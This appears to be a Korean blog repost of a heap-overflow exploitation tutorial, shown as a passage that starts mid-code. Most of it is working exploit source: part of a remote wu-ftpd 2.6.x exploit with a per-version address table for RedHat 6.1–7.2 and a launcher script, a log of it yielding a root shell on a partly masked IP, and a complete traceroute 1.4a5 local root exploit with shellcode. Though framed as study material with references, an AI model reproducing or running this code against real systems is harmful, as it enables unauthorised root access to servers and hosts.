       strcode[num_0 +21] = (0xffffffff & 0x0000ff00) >> 8;
       strcode[num_0 +22] = (0xffffffff & 0x00ff0000) >>16;
       strcode[num_0 +23] = (0xffffffff & 0xff000000) >>24;
       strcode[num_0 +24] =       (gotr & 0x000000ff) >> 0;
       strcode[num_0 +25] =       (gotr & 0x0000ff00) >> 8;
       strcode[num_0 +26] =       (gotr & 0x00ff0000) >>16;
       strcode[num_0 +27] =       (gotr & 0xff000000) >>24;
       strcode[num_0 +28] =  (shelladdr & 0x000000ff) >> 0;
       strcode[num_0 +29] =  (shelladdr & 0x0000ff00) >> 8;
       strcode[num_0 +30] =  (shelladdr & 0x00ff0000) >>16;
       strcode[num_0 +31] =  (shelladdr & 0xff000000) >>24;

   }   /**************** Chunk Point! *******************/
   {   // 청크를 가리킴
        password[0x0000001d] = (pointr & 0x000000ff) >> 0;
        password[0x0000001e] = (pointr & 0x0000ff00) >> 8;
        password[0x0000001f] = (pointr & 0x00ff0000) >>16;
        password[0x00000020] = (pointr & 0xff000000) >>24;
   }
   // sleep(10); /* 디버깅시 유용함 */
   num_0 = 0x00000000;
   for(num_1 = 0; num_1 < 320 - strlen(shellcode); num_1 += 6) {
       maincode[num_0++] = '@';
       maincode[num_0++] = 0xeb; // jump
       maincode[num_0++] = 0x0c; // 12
       maincode[num_0++] = '@';
   }
   for(num_1 = 0; num_1 < strlen(shellcode); num_1++) {
       maincode[num_0++] = shellcode[num_1];
   }
   snprintf(atexec, 1024 * 4, 
           "%s\n%s\n%s%s\n    %s", // code가 덮일 위치 및 code 작성 
           username, password, plat[type].attype, strcode, maincode); 
   printx(atexec);
   printf("\n\n\n\n\n");
  
   snprintf(command, 0x82, "list ~{\nquit\n"); // 공격
   printx(command);

}

printx(ppp) char *ppp; {
    while(*ppp) {
    if(*ppp==(char)0xff) putchar(*ppp); // 터미널 문자 반복처리 출력
    putchar(*ppp); ppp++;
    }
}   

usages(char *argument) {

  printf("\n Usages: %s -options arguments\n\n", argument);
  printf("  -t [Platform Number]   - Platform Type Number\n");
  printf("  -s [Shellcode Address] - Pushing shellcode address\n");
  printf("  -r [Retloc Address]    - Find retloc address\n");
  printf("  -p [Chunk Pointer]     - Fake Chunk address\n");

  system("cat ./platform.txt");
  
  printf(" Example:\n 
  %s -s %p -r %p -p %p\n"
, argument, CODE, GOTR, POINT);
  printf("\n Example2: %s -t 0\n\n", argument);
  exit(0);

}


--- os-plat.h ---


/*
**
** - Platform SyStype Select - Header File !
**
** find & make by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net
**
*/

struct os {

    int num;
    char *osfp;
    unsigned long pointr;
    unsigned long gotr;
    unsigned long shaddr;
    char *attype;
};

struct os plat[] =
{
    { /* 0x0806bae4 R_386_JUMP_SLOT   syslog */
    0,
    "RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz",
    0x08087680,
    0x0806bae4,
    0x0807d628,
    "site exec "
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    1,
    "RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm",
    0x08090b8d,
    0x0806e088,
    0x0807fbd1,
    "stat ~xpl "
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    2,
    "RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm",
    0x08090b18,
    0x0806e088,
    0x0807fbe9,
    "site exec "
    },
    { /* 0x08070414 R_386_JUMP_SLOT   syslog */
    3,
    "RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm",
    0x080946b8,
    0x08070414,
    0x08083371,
    "site exec "
    },
    { /* 0x0806bb04 R_386_JUMP_SLOT   syslog */
    4,
    "RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz",
    0x08087655,
    0x0806bb04,
    0x0807d631,
    "stat 0x82 " 
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    5,
    "RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm",
    0x08090b1d,
    0x0806e088,
    0x0807fbe9,
    "stat 0x82 " 
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    6,
    "RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm",
    0x08090b2d,
    0x0806e088,
    0x0807fbd1,
    "stat ~xpl " 
    },
    { /* 0x08070414 R_386_JUMP_SLOT   syslog */
    7,
    "RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm",
    0x080946b8,
    0x08070414,
    0x080833b1,
    "site exec "
    },
    { /* 0x0806e088 R_386_JUMP_SLOT   syslog */
    8,
    "RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm",
    0x08090b8d,
    0x0806e088,
    0x08089b40,
    "stat ~xpl "
    },
    { /* 0x0806f170 R_386_JUMP_SLOT   syslog */
    9,
    "RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm",
    0x0808ce88,
    0x0806f170,
    0x08082cc2,
    "stat 0x82 "
    },
    { /* 0x08070cb0 R_386_JUMP_SLOT   syslog */
    10,
    "RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm", /* 7.0 Default */
    0x0808e73d,
    0x08070cb0,
    0x08084622,
    "stat 0x82 "
    },   
    { /* 0x08073018 R_386_JUMP_SLOT   syslog */
    11,
    "RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm",
    0x82828282,
    0x08073018,
    0x08085de0,
    "cwd ~/xpl "
    },
    { /* 0x08071748 R_386_JUMP_SLOT   syslog */
    12,
    "RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm",
    0x82828282,
    0x08071748,
    0x08085900,
    "cwd ~/xpl "
    },
    { /* 0x08073018 R_386_JUMP_SLOT   syslog */
    13,
    "RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm",
    0x82828282,
    0x08073018,
    0x08085de0,
    "cwd ~//// "
    },
    { /* 0x08072af8 R_386_JUMP_SLOT   syslog */
    14,
    "RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm",
    0x82828282,
    0x08072af8,
    0x08085900,
    "cwd hello "
    }
/* Hate Kiddies */
};


--- platform.txt ---


* Platform Type Number List -

  0) RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz
  1) RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm
  2) RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm
  3) RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm
  4) RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz
  5) RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm
  6) RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm
  7) RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm
  8) RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm
  9) RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm
10) RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm
11) RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm
12) RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm
13) RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm
14) RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm


--- xploit-generator ---


#!/bin/sh
#
# WOOoou-FTPd xploit-generator exploit. 
#
# by Xpl017Elz in INetCop(c)
#
(printf "\n Welcome to WOOoou-FTPd AttACK HAPPY EXPLOIT PROJECT v02/04/05\n");
(printf "\n [0] ftp username (ex - anonymous): "); read name;
#
if [ "$name" != "anonymous" ]; then
(printf " - Username != anonymous\n - mer0ng, :-p\n\n"); exit; fi
(printf " [1] target hostname (domain & ip): "); read host;
(printf " [2] Target Ftpd version & type -\n");
cat platform.txt
(printf " - FTPd version type (ex - 0): "); read plfm;
(printf " - OK, Platform Type Number: $plfm\n\n");
(printf " * Thanks ur infomation :-)\n");
./bugfinder $host $plfm
(printf "\n by Xpl017Elz\n\n");
#
# Cool? Hmmmm ... :-x
# G00dbye, Kiddies.
#


--- Success ---


[x82@xpl017elz WOOoou~Happy-2.6.1.xpl]$ ./xploit-generator

Welcome to WOOoou-FTPd AttACK HAPPY EXPLOIT PROJECT v02/04/05

[0] ftp username (ex - anonymous): anonymous
[1] target hostname (domain & ip): 61.xx.177.xx
[2] Target Ftpd version & type -

* Platform Type Number List -

  0) RedHat Linux 6.1 wu-ftpd-2.6.0.tar.gz
  1) RedHat Linux 6.1 wu-ftpd-2.6.0-3.i386.rpm
  2) RedHat Linux 6.1 wu-ftpd-2.6.0-3bc.i386.rpm
  3) RedHat Linux 6.1 wu-ftpd-2.6.0-14.6x.i386.rpm
  4) RedHat Linux 6.2 wu-ftpd-2.6.0.tar.gz
  5) RedHat Linux 6.2 wu-ftpd-2.6.0-3.i386.rpm
  6) RedHat Linux 6.2 wu-ftpd-2.6.0-3bc.i386.rpm
  7) RedHat Linux 6.2 wu-ftpd-2.6.0-14.6x.i386.rpm
  8) RedHat Linux 7.0 wu-ftpd-2.6.0-3.i386.rpm
  9) RedHat Linux 7.0 wu-ftpd-2.6.1-3.6x.i386.rpm
10) RedHat Linux 7.0 wu-ftpd-2.6.1-6.i386.rpm
11) RedHat Linux 7.1 wu-ftpd-2.6.1-16.i386.rpm
12) RedHat Linux 7.1 wu-ftpd-2.6.1-18.i386.rpm
13) RedHat Linux 7.2 wu-ftpd-2.6.1-16.i386.rpm
14) RedHat Linux 7.2 wu-ftpd-2.6.1-18.i386.rpm

- FTPd version type (ex - 0): 5
- OK, Platform Type Number: 5

* Thanks ur infomation :-)

[+] Finding Wu-FTPd Version Bug -

* OK, Finded Bug
* Execute exploit, Type Method.

220 testsub2 FTP server (Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000) ready
.
331 Guest login ok, send your complete e-mail address as password.
230 Guest login ok, access restrictions apply.
200-綜綜綜綜綜綜綜綜綜綜熉                                 U?1육?甕/////bin/su
': command not understood.綜綜綜綜')                       M
500 '': command not understood.@?@?@?]?U?星?????M?@?@?@?@?@?@?@
500 '': command not understood.육=??./@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@U
500 '': command not understood.
500 '': command not understood.
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
(wheel)
pwd
/home/ftp
exit

by Xpl017Elz

[x82@xpl017elz WOOoou~Happy-2.6.1.xpl]$

---

P.S-2: 제가 알고있는 WU-FTPd exploit은 Team TESO의 exploit과 zen-parse,
그리고 dove의 exploit. 전부 세가지입니다. 각각 exploit의 공격 method를 살펴보면
그 방식이 조금씩 다른 재미있는 사실을 알 수 있을 것입니다.


2) traceroute exploit.


역시, 유명한 Heap 기반 exploit 입니다.
아래 첨부하는 것은 제가 예전에 연구할 때 작성했던 code입니다.
매우 쉽게 짜여져 있으니, 공부하는데 큰 어려움은 없을 것입니다. :-)

관련 report는 synnergy팀의 문서를 link 하도록 하겠습니다.

URL - http://synnergy.net/downloads/exploits/traceroute-exp.txt


--- 0x82-Local.Trxpl.c ---


/*
**
** traceroute 1.4a5 exploit
**
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>. 
** My World: http://x82.i21c.net
**
** Special Greets: sorbo(c00l c0de), dvorak(c00l advisory).
**
*/

#include <stdio.h>
#define TR "/usr/sbin/traceroute"
#define Xpl017Elz "x82"

char fakechunk[] =
        "\xfc\xfc\xff\xff"  /* fpucking chunk */
        "\xb8\xc7\x04\x08"; /* GOT free 0804c7c4-0xc */
        /* objdump -R /usr/sbin/traceroute | grep free */

char jmpcode[] = /* jmp ! */
        "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
        "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
        "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a";
        
char shellcode[] = /* setreuid(0,0); and, execute /bin/sh */
        "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80"
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { 

    char x0x[1024], x82buf[0x82], x82x82[1024*2], tr[0x82] = TR;
    char *arguments[] = {"x82", "-g", "82.8.2", "-g", x82buf, x0x, NULL};
    int num_0, num_1, num_2, code, nop; 
    unsigned long addr = 0;
    bzero(&x0x,    1024); 
    bzero(&x82buf, 0x82);
    
    for(code = 0; code < strlen(jmpcode); code++) {
        x0x[code] = jmpcode[code];
    }
    for(nop = 0; nop < 0x20; nop++) {
        x0x[code++] = 0x90;
    }
    for(num_0 = 0; num_0 < strlen(shellcode); num_0++) {
        x0x[code++] = shellcode[num_0];
    }
    strcpy(x82buf, "8.2.8.17 x82"); num_2 = strlen(x82buf);
    for(num_1 = 0; num_1 < strlen(fakechunk); num_1++) {
        x82buf[num_2++] = fakechunk[num_1];
    }

    addr = 0xc0000000 - strlen(x0x);
    x82buf[num_2++] = (addr & 0x000000ff) >> 0;
    x82buf[num_2++] = (addr & 0x0000ff00) >> 8;
    x82buf[num_2++] = (addr & 0x00ff0000) >>16;
    x82buf[num_2++] = (addr & 0xff000000) >>24;
    
    printf("\n traceroute 1.4a5 exploit\n");
    printf("\t\t\t\tby Xpl017Elz\n");
    printf("\n___(Code.Dumped)___\n");
    sprintf(x82x82, "echo \"%s\" | hexdump", x82buf);
    system(x82x82); 
    sprintf(x82x82, "echo \"%s\" | hexdump", x0x);
    system(x82x82);
    printf("___(___E.N.D___)___\n\n");

    execve(tr, arguments, NULL);

} 


--- eof ---


0x03. Reference.


- Phrack #57/9 "Once upon a free()"
- truefinder "Heap Overflow - feee/malloc, double Free Corruption"
- dvorak "LBL traceroute exploit"
- CORE Security Technologies "Vulnerability Report For WU-FTPD Server"


P.S-3: free ur mind! :-D
 
 

[펌 : http://webcache.googleusercontent.com/search?q=cache:wEM5wJlwXhQJ:www.hackerschool.org/HS_Boards/data/Lib_system/free_malloc.txt+&cd=4&hl=ko&ct=clnk&gl=kr&lr=lang_ko&client=ubuntu ]

블로그 이미지

KuroNeko_

KuroNeko

,